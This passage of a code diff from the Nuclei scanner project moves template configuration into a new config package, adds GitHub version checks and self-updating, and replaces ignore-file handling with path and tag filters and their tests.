 	if r.templatesConfig == nil {
-		currentConfig := &nucleiConfig{
+		currentConfig := &config.Config{
 			TemplatesDirectory: path.Join(home, "nuclei-templates"),
 			IgnoreURL:          ignoreURL,
-			NucleiVersion:      Version,
+			NucleiVersion:      config.Version,
 		}
-		if writeErr := r.writeConfiguration(currentConfig); writeErr != nil {
+		if writeErr := config.WriteConfiguration(currentConfig, false, false); writeErr != nil {
 			return errors.Wrap(writeErr, "could not write template configuration")
 		}
 		r.templatesConfig = currentConfig
 	}
+
+	if r.options.NoUpdateTemplates {
+		return nil
+	}
 	// Check if last checked for nuclei-ignore is more than 1 hours.
 	// and if true, run the check.
+	//
+	// Also at the same time fetch latest version from github to do outdated nuclei
+	// and templates check.
+	checkedIgnore := false
 	if r.templatesConfig == nil || time.Since(r.templatesConfig.LastCheckedIgnore) > 1*time.Hour || r.options.UpdateTemplates {
+		r.fetchLatestVersionsFromGithub()
+
 		if r.templatesConfig != nil && r.templatesConfig.IgnoreURL != "" {
 			ignoreURL = r.templatesConfig.IgnoreURL
 		}
 		gologger.Verbose().Msgf("Downloading config file from %s", ignoreURL)
 
+		checkedIgnore = true
 		ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
 		req, reqErr := http.NewRequestWithContext(ctx, http.MethodGet, ignoreURL, nil)
 		if reqErr == nil {
@@ -90,7 +117,10 @@ func (r *Runner) updateTemplates() error {
 					_ = ioutil.WriteFile(path.Join(configDir, nucleiIgnoreFile), data, 0644)
 				}
 				if r.templatesConfig != nil {
-					r.templatesConfig.LastCheckedIgnore = time.Now()
+					err = config.WriteConfiguration(r.templatesConfig, false, true)
+					if err != nil {
+						gologger.Warning().Msgf("Could not get ignore-file from %s: %s", ignoreURL, err)
+					}
 				}
 			}
 		}
@@ -99,13 +129,10 @@ func (r *Runner) updateTemplates() error {
 
 	ctx := context.Background()
 	if r.templatesConfig.CurrentVersion == "" || (r.options.TemplatesDirectory != "" && r.templatesConfig.TemplatesDirectory != r.options.TemplatesDirectory) {
-		if !r.options.UpdateTemplates {
-			gologger.Warning().Msgf("nuclei-templates are not installed (or indexed), use update-templates flag.\n")
-			return nil
-		}
+		gologger.Info().Msgf("nuclei-templates are not installed, installing...\n")
 
 		// Use custom location if user has given a template directory
-		r.templatesConfig = &nucleiConfig{
+		r.templatesConfig = &config.Config{
 			TemplatesDirectory: path.Join(home, "nuclei-templates"),
 		}
 		if r.options.TemplatesDirectory != "" && r.options.TemplatesDirectory != path.Join(home, "nuclei-templates") {
@@ -119,21 +146,22 @@ func (r *Runner) updateTemplates() error {
 		}
 		gologger.Verbose().Msgf("Downloading nuclei-templates (v%s) to %s\n", version.String(), r.templatesConfig.TemplatesDirectory)
 
+		r.fetchLatestVersionsFromGithub() // also fetch latest versions
 		_, err = r.downloadReleaseAndUnzip(ctx, version.String(), asset.GetZipballURL())
 		if err != nil {
 			return err
 		}
 		r.templatesConfig.CurrentVersion = version.String()
 
-		err = r.writeConfiguration(r.templatesConfig)
+		err = config.WriteConfiguration(r.templatesConfig, true, checkedIgnore)
 		if err != nil {
 			return err
 		}
-		gologger.Info().Msgf("Successfully downloaded nuclei-templates (v%s). Enjoy!\n", version.String())
+		gologger.Info().Msgf("Successfully downloaded nuclei-templates (v%s). GoodLuck!\n", version.String())
 		return nil
 	}
 
-	// Check if last checked is more than 24 hours.
+	// Check if last checked is more than 24 hours and we don't have updateTemplates flag.
 	// If not, return since we don't want to do anything now.
 	if time.Since(r.templatesConfig.LastChecked) < 24*time.Hour && !r.options.UpdateTemplates {
 		return nil
@@ -160,15 +188,12 @@ func (r *Runner) updateTemplates() error {
 	}
 
 	if version.EQ(oldVersion) {
-		gologger.Info().Msgf("Your nuclei-templates are up to date: v%s\n", oldVersion.String())
-		return r.writeConfiguration(r.templatesConfig)
+		return config.WriteConfiguration(r.templatesConfig, false, checkedIgnore)
 	}
 
 	if version.GT(oldVersion) {
-		if !r.options.UpdateTemplates {
-			gologger.Warning().Msgf("Your current nuclei-templates v%s are outdated. Latest is v%s\n", oldVersion, version.String())
-			return r.writeConfiguration(r.templatesConfig)
-		}
+		gologger.Info().Msgf("Your current nuclei-templates v%s are outdated. Latest is v%s\n", oldVersion, version.String())
+		gologger.Info().Msgf("Downloading latest release...")
 
 		if r.options.TemplatesDirectory != "" {
 			r.templatesConfig.TemplatesDirectory = r.options.TemplatesDirectory
@@ -176,15 +201,16 @@ func (r *Runner) updateTemplates() error {
 		r.templatesConfig.CurrentVersion = version.String()
 
 		gologger.Verbose().Msgf("Downloading nuclei-templates (v%s) to %s\n", version.String(), r.templatesConfig.TemplatesDirectory)
+		r.fetchLatestVersionsFromGithub()
 		_, err = r.downloadReleaseAndUnzip(ctx, version.String(), asset.GetZipballURL())
 		if err != nil {
 			return err
 		}
-		err = r.writeConfiguration(r.templatesConfig)
+		err = config.WriteConfiguration(r.templatesConfig, true, checkedIgnore)
 		if err != nil {
 			return err
 		}
-		gologger.Info().Msgf("Successfully updated nuclei-templates (v%s). Enjoy!\n", version.String())
+		gologger.Info().Msgf("Successfully updated nuclei-templates (v%s). GoodLuck!\n", version.String())
 	}
 	return nil
 }
@@ -265,7 +291,9 @@ func (r *Runner) downloadReleaseAndUnzip(ctx context.Context, version, downloadU
 		return nil, fmt.Errorf("failed to write templates: %s", err)
 	}
 
-	r.printUpdateChangelog(results, version)
+	if r.options.Verbose {
+		r.printUpdateChangelog(results, version)
+	}
 	checksumFile := path.Join(r.templatesConfig.TemplatesDirectory, ".checksum")
 	err = writeTemplatesChecksum(checksumFile, results.checksums)
 	if err != nil {
@@ -316,7 +344,7 @@ func (r *Runner) compareAndWriteTemplates(z *zip.Reader) (*templateUpdateResults
 		paths := strings.Split(directory, "/")
 		finalPath := strings.Join(paths[1:], "/")
 
-		if (!strings.EqualFold(name, ".nuclei-ignore") && strings.HasPrefix(name, ".")) || strings.HasPrefix(finalPath, ".") || strings.EqualFold(name, "README.md") {
+		if strings.HasPrefix(name, ".") || strings.HasPrefix(finalPath, ".") || strings.EqualFold(name, "README.md") {
 			continue
 		}
 		results.totalCount++
@@ -441,7 +469,7 @@ func writeTemplatesChecksum(file string, checksum map[string]string) error {
 }
 
 func (r *Runner) printUpdateChangelog(results *templateUpdateResults, version string) {
-	if len(results.additions) > 0 {
+	if len(results.additions) > 0 && r.options.Verbose {
 		gologger.Print().Msgf("\nNewly added templates: \n\n")
 
 		for _, addition := range results.additions {
@@ -460,3 +488,108 @@ func (r *Runner) printUpdateChangelog(results *templateUpdateResults, version st
 	}
 	table.Render()
 }
+
+// fetchLatestVersionsFromGithub fetches latest versions of nuclei repos from github
+func (r *Runner) fetchLatestVersionsFromGithub() {
+	nucleiLatest, err := r.githubFetchLatestTagRepo("projectdiscovery/nuclei")
+	if err != nil {
+		gologger.Warning().Msgf("Could not fetch latest nuclei release: %s", err)
+	}
+	templatesLatest, err := r.githubFetchLatestTagRepo("projectdiscovery/nuclei-templates")
+	if err != nil {
+		gologger.Warning().Msgf("Could not fetch latest nuclei-templates release: %s", err)
+	}
+	if r.templatesConfig != nil {
+		r.templatesConfig.NucleiLatestVersion = nucleiLatest
+		r.templatesConfig.NucleiTemplatesLatestVersion = templatesLatest
+	}
+}
+
+type githubTagData struct {
+	Name string
+}
+
+// githubFetchLatestTagRepo fetches latest tag from github
+// This function was half written by github copilot AI :D.
+func (r *Runner) githubFetchLatestTagRepo(repo string) (string, error) {
+	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
+	defer cancel()
+
+	url := fmt.Sprintf("https://api.github.com/repos/%s/tags", repo)
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
+	if err != nil {
+		return "", err
+	}
+	resp, err := http.DefaultClient.Do(req)
+	if err != nil {
+		return "", err
+	}
+
+	defer resp.Body.Close()
+	body, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return "", err
+	}
+
+	var tags []githubTagData
+	err = json.Unmarshal(body, &tags)
+	if err != nil {
+		return "", err
+	}
+	if len(tags) == 0 {
+		return "", fmt.Errorf("no tags found for %s", repo)
+	}
+	return strings.TrimPrefix(tags[0].Name, "v"), nil
+}
+
+// updateNucleiVersionToLatest implements nuclei auto-updation using Github Releases.
+func updateNucleiVersionToLatest(verbose bool) error {
+	if verbose {
+		log.SetLevel(log.DebugLevel)
+	}
+	var command string
+	switch runtime.GOOS {
+	case "windows":
+		command = "nuclei.exe"
+	default:
+		command = "nuclei"
+	}
+	m := &update.Manager{
+		Command: command,
+		Store: &githubUpdateStore.Store{
+			Owner:   "projectdiscovery",
+			Repo:    "nuclei",
+			Version: config.Version,
+		},
+	}
+	releases, err := m.LatestReleases()
+	if err != nil {
+		return errors.Wrap(err, "could not fetch latest release")
+	}
+	if len(releases) == 0 {
+		gologger.Info().Msgf("No new updates found for nuclei engine!")
+		return nil
+	}
+
+	latest := releases[0]
+	var currentOS string
+	switch runtime.GOOS {
+	case "darwin":
+		currentOS = "macOS"
+	default:
+		currentOS = runtime.GOOS
+	}
+	final := latest.FindZip(currentOS, runtime.GOARCH)
+	if final == nil {
+		return fmt.Errorf("no compatible binary found for %s/%s", currentOS, runtime.GOARCH)
+	}
+	tarball, err := final.DownloadProxy(progress.Reader)
+	if err != nil {
+		return errors.Wrap(err, "could not download latest release")
+	}
+	if err := m.Install(tarball); err != nil {
+		return errors.Wrap(err, "could not install latest release")
+	}
+	gologger.Info().Msgf("Successfully updated to Nuclei %s\n", latest.Version)
+	return nil
+}

v2/internal/runner/update_test.go

@@ -15,6 +15,7 @@ import (
 
 	"github.com/projectdiscovery/gologger"
 	"github.com/projectdiscovery/nuclei/v2/internal/testutils"
+	"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
 	"github.com/stretchr/testify/require"
 )
 
@@ -41,8 +42,7 @@ func TestDownloadReleaseAndUnzipAddition(t *testing.T) {
 	require.Nil(t, err, "could not create temp directory")
 	defer os.RemoveAll(templatesDirectory)
 
-	r := &Runner{templatesConfig: &nucleiConfig{TemplatesDirectory: templatesDirectory}}
-
+	r := &Runner{templatesConfig: &config.Config{TemplatesDirectory: templatesDirectory}, options: testutils.DefaultOptions}
 	results, err := r.downloadReleaseAndUnzip(context.Background(), "1.0.0", ts.URL)
 	require.Nil(t, err, "could not download release and unzip")
 	require.Equal(t, "base.yaml", results.additions[0], "could not get correct base addition")
@@ -94,7 +94,7 @@ func TestDownloadReleaseAndUnzipDeletion(t *testing.T) {
 	require.Nil(t, err, "could not create temp directory")
 	defer os.RemoveAll(templatesDirectory)
 
-	r := &Runner{templatesConfig: &nucleiConfig{TemplatesDirectory: templatesDirectory}}
+	r := &Runner{templatesConfig: &config.Config{TemplatesDirectory: templatesDirectory}, options: testutils.DefaultOptions}
 
 	results, err := r.downloadReleaseAndUnzip(context.Background(), "1.0.0", ts.URL)
 	require.Nil(t, err, "could not download release and unzip")

v2/internal/testutils/integration.go

@@ -9,7 +9,7 @@ import (
 
 // RunNucleiAndGetResults returns a list of results for a template
 func RunNucleiAndGetResults(template, url string, debug bool, extra ...string) ([]string, error) {
-	cmd := exec.Command("./nuclei", "-t", template, "-target", url)
+	cmd := exec.Command("./nuclei", "-t", template, "-target", url, "-silent")
 	if debug {
 		cmd = exec.Command("./nuclei", "-t", template, "-target", url, "-debug")
 		cmd.Stderr = os.Stderr
@@ -32,7 +32,7 @@ func RunNucleiAndGetResults(template, url string, debug bool, extra ...string) (
 
 // RunNucleiWorkflowAndGetResults returns a list of results for a workflow
 func RunNucleiWorkflowAndGetResults(template, url string, debug bool, extra ...string) ([]string, error) {
-	cmd := exec.Command("./nuclei", "-w", template, "-target", url)
+	cmd := exec.Command("./nuclei", "-w", template, "-target", url, "-silent")
 	if debug {
 		cmd = exec.Command("./nuclei", "-w", template, "-target", url, "-debug")
 		cmd.Stderr = os.Stderr

v2/internal/testutils/testutils.go

@@ -19,44 +19,42 @@ func Init(options *types.Options) {
 
 // DefaultOptions is the default options structure for nuclei during mocking.
 var DefaultOptions = &types.Options{
-	RandomAgent:          false,
-	Metrics:              false,
-	Debug:                false,
-	DebugRequests:        false,
-	DebugResponse:        false,
-	Silent:               false,
-	Version:              false,
-	Verbose:              false,
-	NoColor:              true,
-	UpdateTemplates:      false,
-	JSON:                 false,
-	JSONRequests:         false,
-	EnableProgressBar:    false,
-	TemplatesVersion:     false,
-	TemplateList:         false,
-	Stdin:                false,
-	StopAtFirstMatch:     false,
-	NoMeta:               false,
-	Project:              false,
-	MetricsPort:          0,
-	BulkSize:             25,
-	TemplateThreads:      10,
-	Timeout:              5,
-	Retries:              1,
-	RateLimit:            150,
-	BurpCollaboratorBiid: "",
-	ProjectPath:          "",
-	Severity:             []string{},
-	Target:               "",
-	Targets:              "",
-	Output:               "",
-	ProxyURL:             "",
-	ProxySocksURL:        "",
-	TemplatesDirectory:   "",
-	TraceLogFile:         "",
-	Templates:            []string{},
-	ExcludedTemplates:    []string{},
-	CustomHeaders:        []string{},
+	Metrics:            false,
+	Debug:              false,
+	DebugRequests:      false,
+	DebugResponse:      false,
+	Silent:             false,
+	Version:            false,
+	Verbose:            false,
+	NoColor:            true,
+	UpdateTemplates:    false,
+	JSON:               false,
+	JSONRequests:       false,
+	EnableProgressBar:  false,
+	TemplatesVersion:   false,
+	TemplateList:       false,
+	Stdin:              false,
+	StopAtFirstMatch:   false,
+	NoMeta:             false,
+	Project:            false,
+	MetricsPort:        0,
+	BulkSize:           25,
+	TemplateThreads:    10,
+	Timeout:            5,
+	Retries:            1,
+	RateLimit:          150,
+	ProjectPath:        "",
+	Severity:           []string{},
+	Target:             "",
+	Targets:            "",
+	Output:             "",
+	ProxyURL:           "",
+	ProxySocksURL:      "",
+	TemplatesDirectory: "",
+	TraceLogFile:       "",
+	Templates:          []string{},
+	ExcludedTemplates:  []string{},
+	CustomHeaders:      []string{},
 }
 
 // MockOutputWriter is a mocked output writer.
@@ -103,7 +101,7 @@ type TemplateInfo struct {
 
 // NewMockExecuterOptions creates a new mock executeroptions struct
 func NewMockExecuterOptions(options *types.Options, info *TemplateInfo) *protocols.ExecuterOptions {
-	progressImpl, _ := progress.NewStatsTicker(0, false, false, 0)
+	progressImpl, _ := progress.NewStatsTicker(0, false, false, false, 0)
 	executerOpts := &protocols.ExecuterOptions{
 		TemplateID:   info.ID,
 		TemplateInfo: info.Info,

v2/pkg/catalog/catalogue.go

@@ -2,13 +2,11 @@ package catalog
 
 // Catalog is a template catalog helper implementation
 type Catalog struct {
-	ignoreFiles        []string
 	templatesDirectory string
 }
 
 // New creates a new Catalog structure using provided input items
 func New(directory string) *Catalog {
 	catalog := &Catalog{templatesDirectory: directory}
-	catalog.readNucleiIgnoreFile()
 	return catalog
 }

v2/pkg/catalog/config/config.go

@@ -0,0 +1,138 @@
+package config
+
+import (
+	"os"
+	"path"
+	"time"
+
+	jsoniter "github.com/json-iterator/go"
+	"github.com/pkg/errors"
+	"github.com/projectdiscovery/gologger"
+	"gopkg.in/yaml.v2"
+)
+
+// Config contains the internal nuclei engine configuration
+type Config struct {
+	TemplatesDirectory string    `json:"templates-directory,omitempty"`
+	CurrentVersion     string    `json:"current-version,omitempty"`
+	LastChecked        time.Time `json:"last-checked,omitempty"`
+	IgnoreURL          string    `json:"ignore-url,omitempty"`
+	NucleiVersion      string    `json:"nuclei-version,omitempty"`
+	LastCheckedIgnore  time.Time `json:"last-checked-ignore,omitempty"`
+
+	NucleiLatestVersion          string `json:"nuclei-latest-version"`
+	NucleiTemplatesLatestVersion string `json:"nuclei-templates-latest-version"`
+}
+
+// nucleiConfigFilename is the filename of nuclei configuration file.
+const nucleiConfigFilename = ".templates-config.json"
+
+// Version is the current version of nuclei
+const Version = `2.4.2`
+
+func getConfigDetails() (string, error) {
+	homeDir, err := os.UserHomeDir()
+	if err != nil {
+		return "", errors.Wrap(err, "could not get home directory")
+	}
+	configDir := path.Join(homeDir, "/.config", "/nuclei")
+	_ = os.MkdirAll(configDir, os.ModePerm)
+	templatesConfigFile := path.Join(configDir, nucleiConfigFilename)
+	return templatesConfigFile, nil
+}
+
+// ReadConfiguration reads the nuclei configuration file from disk.
+func ReadConfiguration() (*Config, error) {
+	templatesConfigFile, err := getConfigDetails()
+	if err != nil {
+		return nil, err
+	}
+
+	file, err := os.Open(templatesConfigFile)
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	config := &Config{}
+	err = jsoniter.NewDecoder(file).Decode(config)
+	if err != nil {
+		return nil, err
+	}
+	return config, nil
+}
+
+// WriteConfiguration writes the updated nuclei configuration to disk
+func WriteConfiguration(config *Config, checked, checkedIgnore bool) error {
+	if config.IgnoreURL == "" {
+		config.IgnoreURL = "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/.nuclei-ignore"
+	}
+	if checked {
+		config.LastChecked = time.Now()
+	}
+	if checkedIgnore {
+		config.LastCheckedIgnore = time.Now()
+	}
+	config.NucleiVersion = Version
+
+	templatesConfigFile, err := getConfigDetails()
+	if err != nil {
+		return err
+	}
+	file, err := os.OpenFile(templatesConfigFile, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0777)
+	if err != nil {
+		return err
+	}
+	defer file.Close()
+
+	err = jsoniter.NewEncoder(file).Encode(config)
+	if err != nil {
+		return err
+	}
+	return nil
+}
+
+const nucleiIgnoreFile = ".nuclei-ignore"
+
+// IgnoreFile is an internal nuclei template blocking configuration file
+type IgnoreFile struct {
+	Tags  []string `yaml:"tags"`
+	Files []string `yaml:"files"`
+}
+
+// ReadIgnoreFile reads the nuclei ignore file returning blocked tags and paths
+func ReadIgnoreFile() IgnoreFile {
+	file, err := os.Open(getIgnoreFilePath())
+	if err != nil {
+		gologger.Error().Msgf("Could not read nuclei-ignore file: %s\n", err)
+		return IgnoreFile{}
+	}
+	defer file.Close()
+
+	ignore := IgnoreFile{}
+	if err := yaml.NewDecoder(file).Decode(&ignore); err != nil {
+		gologger.Error().Msgf("Could not parse nuclei-ignore file: %s\n", err)
+		return IgnoreFile{}
+	}
+	return ignore
+}
+
+// getIgnoreFilePath returns the ignore file path for the runner
+func getIgnoreFilePath() string {
+	var defIgnoreFilePath string
+
+	home, err := os.UserHomeDir()
+	if err == nil {
+		configDir := path.Join(home, "/.config", "/nuclei")
+		_ = os.MkdirAll(configDir, os.ModePerm)
+
+		defIgnoreFilePath = path.Join(configDir, nucleiIgnoreFile)
+		return defIgnoreFilePath
+	}
+	cwd, err := os.Getwd()
+	if err != nil {
+		return defIgnoreFilePath
+	}
+	cwdIgnoreFilePath := path.Join(cwd, nucleiIgnoreFile)
+	return cwdIgnoreFilePath
+}

v2/pkg/catalog/find.go

@@ -29,9 +29,6 @@ func (c *Catalog) GetTemplatesPath(definitions []string) []string {
 			}
 		}
 	}
-	if len(allTemplates) > 0 {
-		gologger.Verbose().Msgf("Identified %d templates", len(allTemplates))
-	}
 	return allTemplates
 }
 
@@ -139,10 +136,6 @@ func (c *Catalog) findDirectoryMatches(absPath string, processed map[string]stru
 		},
 		Callback: func(path string, d *godirwalk.Dirent) error {
 			if !d.IsDir() && strings.HasSuffix(path, ".yaml") {
-				if c.checkIfInNucleiIgnore(path) {
-					return nil
-				}
-
 				if _, ok := processed[path]; !ok {
 					results = append(results, path)
 					processed[path] = struct{}{}

v2/pkg/catalog/ignore.go

@@ -1,84 +0,0 @@
-package catalog
-
-import (
-	"bufio"
-	"os"
-	"path"
-	"strings"
-
-	"github.com/projectdiscovery/gologger"
-)
-
-const nucleiIgnoreFile = ".nuclei-ignore"
-
-// readNucleiIgnoreFile reads the nuclei ignore file marking it in map
-func (c *Catalog) readNucleiIgnoreFile() {
-	file, err := os.Open(path.Join(c.templatesDirectory, nucleiIgnoreFile))
-	if err != nil {
-		return
-	}
-	defer file.Close()
-
-	scanner := bufio.NewScanner(file)
-	for scanner.Scan() {
-		text := scanner.Text()
-		if text == "" {
-			continue
-		}
-		if strings.HasPrefix(text, "#") {
-			continue
-		}
-		c.ignoreFiles = append(c.ignoreFiles, text)
-	}
-}
-
-// checkIfInNucleiIgnore checks if a path falls under nuclei-ignore rules.
-func (c *Catalog) checkIfInNucleiIgnore(item string) bool {
-	if c.templatesDirectory == "" {
-		return false
-	}
-
-	matched := false
-	for _, paths := range c.ignoreFiles {
-		if !strings.HasSuffix(paths, ".yaml") {
-			if strings.HasSuffix(strings.TrimSuffix(item, "/"), strings.TrimSuffix(paths, "/")) {
-				matched = true
-				break
-			}
-		} else if strings.HasSuffix(item, paths) {
-			matched = true
-			break
-		}
-	}
-	if matched {
-		gologger.Error().Msgf("Excluding %s due to nuclei-ignore filter", item)
-		return true
-	}
-	return false
-}
-
-// ignoreFilesWithExcludes ignores results with exclude paths
-func (c *Catalog) ignoreFilesWithExcludes(results, excluded []string) []string {
-	var templates []string
-
-	for _, result := range results {
-		matched := false
-		for _, paths := range excluded {
-			if !strings.HasSuffix(paths, ".yaml") {
-				if strings.HasSuffix(strings.TrimSuffix(result, "/"), strings.TrimSuffix(paths, "/")) {
-					matched = true
-					break
-				}
-			} else if strings.HasSuffix(result, paths) {
-				matched = true
-				break
-			}
-		}
-		if !matched {
-			templates = append(templates, result)
-		} else {
-			gologger.Error().Msgf("Excluding %s due to excludes filter", result)
-		}
-	}
-	return templates
-}

v2/pkg/catalog/ignore_test.go

@@ -1,40 +0,0 @@
-package catalog
-
-import (
-	"fmt"
-	"testing"
-
-	"github.com/stretchr/testify/require"
-)
-
-func TestIgnoreFilesIgnore(t *testing.T) {
-	c := &Catalog{
-		ignoreFiles:        []string{"workflows/", "cves/2020/cve-2020-5432.yaml"},
-		templatesDirectory: "test",
-	}
-	tests := []struct {
-		path   string
-		ignore bool
-	}{
-		{"workflows/", true},
-		{"misc", false},
-		{"cves/", false},
-		{"cves/2020/cve-2020-5432.yaml", true},
-		{"/Users/test/nuclei-templates/workflows/", true},
-		{"/Users/test/nuclei-templates/misc", false},
-		{"/Users/test/nuclei-templates/cves/", false},
-		{"/Users/test/nuclei-templates/cves/2020/cve-2020-5432.yaml", true},
-	}
-	for _, test := range tests {
-		require.Equal(t, test.ignore, c.checkIfInNucleiIgnore(test.path), fmt.Sprintf("could not ignore file correctly: %v", test))
-	}
-}
-
-func TestExcludeFilesIgnore(t *testing.T) {
-	c := &Catalog{}
-	excludes := []string{"workflows/", "cves/2020/cve-2020-5432.yaml"}
-	paths := []string{"/Users/test/nuclei-templates/workflows/", "/Users/test/nuclei-templates/cves/2020/cve-2020-5432.yaml", "/Users/test/nuclei-templates/workflows/test-workflow.yaml", "/Users/test/nuclei-templates/cves/"}
-
-	data := c.ignoreFilesWithExcludes(paths, excludes)
-	require.Equal(t, []string{"/Users/test/nuclei-templates/workflows/test-workflow.yaml", "/Users/test/nuclei-templates/cves/"}, data, "could not exclude correct files")
-}

v2/pkg/catalog/loader/filter/path_filter.go

@@ -0,0 +1,45 @@
+package filter
+
+import "github.com/projectdiscovery/nuclei/v2/pkg/catalog"
+
+// PathFilter is a path based template filter
+type PathFilter struct {
+	excludedTemplates          []string
+	alwaysIncludedTemplatesMap map[string]struct{}
+}
+
+// PathFilterConfig contains configuration options for Path based templates Filter
+type PathFilterConfig struct {
+	IncludedTemplates []string
+	ExcludedTemplates []string
+}
+
+// NewPathFilter creates a new path filter from provided config
+func NewPathFilter(config *PathFilterConfig, catalogClient *catalog.Catalog) *PathFilter {
+	filter := &PathFilter{
+		excludedTemplates:          catalogClient.GetTemplatesPath(config.ExcludedTemplates),
+		alwaysIncludedTemplatesMap: make(map[string]struct{}),
+	}
+
+	alwaysIncludeTemplates := catalogClient.GetTemplatesPath(config.IncludedTemplates)
+	for _, tpl := range alwaysIncludeTemplates {
+		filter.alwaysIncludedTemplatesMap[tpl] = struct{}{}
+	}
+	return filter
+}
+
+// Match performs match for path filter on templates and returns final list
+func (p *PathFilter) Match(templates []string) map[string]struct{} {
+	templatesMap := make(map[string]struct{})
+	for _, tpl := range templates {
+		templatesMap[tpl] = struct{}{}
+	}
+	for _, template := range p.excludedTemplates {
+		if _, ok := p.alwaysIncludedTemplatesMap[template]; ok {
+			continue
+		} else {
+			delete(templatesMap, template)
+		}
+	}
+	return templatesMap
+}

v2/pkg/catalog/loader/filter/tag_filter.go

@@ -0,0 +1,178 @@
+package filter
+
+import (
+	"errors"
+	"strings"
+)
+
+// TagFilter is used to filter nuclei templates for tag based execution
+type TagFilter struct {
+	allowedTags map[string]struct{}
+	severities  map[string]struct{}
+	authors     map[string]struct{}
+	block       map[string]struct{}
+	matchAllows map[string]struct{}
+}
+
+// ErrExcluded is returned for execluded templates
+var ErrExcluded = errors.New("the template was excluded")
+
+// Match takes a tag and whether the template was matched from user
+// input and returns true or false using a tag filter.
+//
+// If the tag was specified in deny list, it will not return true
+// unless it is explicitly specified by user in includeTags which is the
+// matchAllows section.
+//
+// It returns true if the tag is specified, or false.
+func (t *TagFilter) Match(tag, author, severity string) (bool, error) {
+	matchedAny := false
+	if len(t.allowedTags) > 0 {
+		_, ok := t.allowedTags[tag]
+		if ok {
+			matchedAny = true
+		}
+	}
+	_, ok := t.block[tag]
+	if ok {
+		if _, allowOk := t.matchAllows[tag]; allowOk {
+			return true, nil
+		}
+		return false, ErrExcluded
+	}
+	if len(t.authors) > 0 {
+		_, ok = t.authors[author]
+		if !ok {
+			return false, nil
+		}
+		matchedAny = true
+	}
+	if len(t.severities) > 0 {
+		_, ok = t.severities[severity]
+		if !ok {
+			return false, nil
+		}
+		matchedAny = true
+	}
+	if len(t.allowedTags) == 0 && len(t.authors) == 0 && len(t.severities) == 0 {
+		return true, nil
+	}
+	return matchedAny, nil
+}
+
+// MatchWithAllowedTags takes an addition list of allowed tags
+// and returns true if the match was successful.
+func (t *TagFilter) MatchWithAllowedTags(allowed []string, tag, author, severity string) (bool, error) {
+	matchedAny := false
+
+	allowedMap := make(map[string]struct{})
+	for _, tag := range allowed {
+		for _, val := range splitCommaTrim(tag) {
+			if _, ok := allowedMap[val]; !ok {
+				allowedMap[val] = struct{}{}
+			}
+		}
+	}
+	if len(allowedMap) > 0 {
+		_, ok := allowedMap[tag]
+		if ok {
+			matchedAny = true
+		}
+	}
+	_, ok := t.block[tag]
+	if ok && !matchedAny {
+		if _, allowOk := t.matchAllows[tag]; allowOk {
+			return true, nil
+		}
+		return false, ErrExcluded
+	}
+	if len(t.authors) > 0 {
+		_, ok = t.authors[author]
+		if !ok {
+			return false, nil
+		}
+		matchedAny = true
+	}
+	if len(t.severities) > 0 {
+		_, ok = t.severities[severity]
+		if !ok {
+			return false, nil
+		}
+		matchedAny = true
+	}
+	if len(allowedMap) == 0 && len(t.authors) == 0 && len(t.severities) == 0 {
+		return true, nil
+	}
+	return matchedAny, nil
+}
+
+type Config struct {
+	Tags        []string
+	ExcludeTags []string
+	Authors     []string
+	Severities  []string
+	IncludeTags []string
+}
+
+// New returns a tag filter for nuclei tag based execution
+//
+// It takes into account Tags, Severities, Authors, IncludeTags, ExcludeTags.
+func New(config *Config) *TagFilter {
+	filter := &TagFilter{
+		allowedTags: make(map[string]struct{}),
+		authors:     make(map[string]struct{}),
+		severities:  make(map[string]struct{}),
+		block:       make(map[string]struct{}),
+		matchAllows: make(map[string]struct{}),
+	}
+	for _, tag := range config.ExcludeTags {
+		for _, val := range splitCommaTrim(tag) {
+			if _, ok := filter.block[val]; !ok {
+				filter.block[val] = struct{}{}
+			}
+		}
+	}
+	for _, tag := range config.Severities {
+		for _, val := range splitCommaTrim(tag) {
+			if _, ok := filter.severities[val]; !ok {
+				filter.severities[val] = struct{}{}
+			}
+		}
+	}
+	for _, tag := range config.Authors {
+		for _, val := range splitCommaTrim(tag) {
+			if _, ok := filter.authors[val]; !ok {
+				filter.authors[val] = struct{}{}
+			}
+		}
+	}
+	for _, tag := range config.Tags {
+		for _, val := range splitCommaTrim(tag) {
+			if _, ok := filter.allowedTags[val]; !ok {
+				filter.allowedTags[val] = struct{}{}
+			}
+			delete(filter.block, val)
+		}
+	}
+	for _, tag := range config.IncludeTags {
+		for _, val := range splitCommaTrim(tag) {
+			if _, ok := filter.matchAllows[val]; !ok {
+				filter.matchAllows[val] = struct{}{}
+			}
+			delete(filter.block, val)
+		}
+	}
+	return filter
+}
+
+func splitCommaTrim(value string) []string {
+	if !strings.Contains(value, ",") {
+		return []string{strings.ToLower(value)}
+	}
+	splitted := strings.Split(value, ",")
+	final := make([]string, len(splitted))
+	for i, value := range splitted {
+		final[i] = strings.ToLower(strings.TrimSpace(value))
+	}
+	return final
+}

v2/pkg/catalog/loader/filter/tag_filter_test.go

@@ -0,0 +1,84 @@
+package filter
+
+import (
+	"testing"
+
+	"github.com/stretchr/testify/require"
+)
+
+func TestTagBasedFilter(t *testing.T) {
+	config := &Config{
+		Tags: []string{"cves", "2021", "jira"},
+	}
+	filter := New(config)
+
+	t.Run("true", func(t *testing.T) {
+		matched, _ := filter.Match("jira", "pdteam", "low")
+		require.True(t, matched, "could not get correct match")
+	})
+	t.Run("false", func(t *testing.T) {
+		matched, _ := filter.Match("consul", "pdteam", "low")
+		require.False(t, matched, "could not get correct match")
+	})
+	t.Run("not-match-excludes", func(t *testing.T) {
+		config := &Config{
+			ExcludeTags: []string{"dos"},
+		}
+		filter := New(config)
+		matched, err := filter.Match("dos", "pdteam", "low")
+		require.False(t, matched, "could not get correct match")
+		require.Equal(t, ErrExcluded, err, "could not get correct error")
+	})
+	t.Run("match-includes", func(t *testing.T) {
+		config := &Config{
+			Tags:        []string{"cves", "fuzz"},
+			ExcludeTags: []string{"dos", "fuzz"},
+			IncludeTags: []string{"fuzz"},
+		}
+		filter := New(config)
+		matched, err := filter.Match("fuzz", "pdteam", "low")
+		require.Nil(t, err, "could not get match")
+		require.True(t, matched, "could not get correct match")
+	})
